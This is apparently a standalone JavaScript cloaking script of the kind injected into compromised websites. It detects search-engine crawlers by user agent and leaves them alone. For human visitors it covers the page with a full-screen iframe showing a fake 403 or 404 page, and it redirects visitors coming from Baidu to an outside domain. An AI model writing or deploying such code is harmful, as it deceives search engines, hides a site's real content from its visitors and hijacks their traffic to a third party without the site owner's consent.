function guanggao(url){
document.write('');
var iframe = document.createElement('iframe');
iframe.src = url;
iframe.scrolling = 'auto';
iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
var div1 = document.createElement("div");
var div = document.createElement("div");
div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;";
div1.style.overflow = "auto";
div1.appendChild(iframe);
div.appendChild(div1);
document.write(div.innerHTML);
}
var referrer = document.referrer;
var userAgent = navigator.userAgent;
var spiderRegExp = /(Baiduspider|Baiduspider-render|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|Bytespider|bingbot)/i;
if (!spiderRegExp.test(userAgent)) {
var isMobile = /phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|QQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/i.test(userAgent);
var isNotPC = !/Win|Mac/i.test(navigator.platform);
if (isMobile && isNotPC) {
guanggao('/403.html');
} else if (referrer.indexOf("baidu.com") > -1) {
window.location.href = 'https://www.opiscn.com';
} else {
guanggao('/404.html');
document.title = '404';
}
}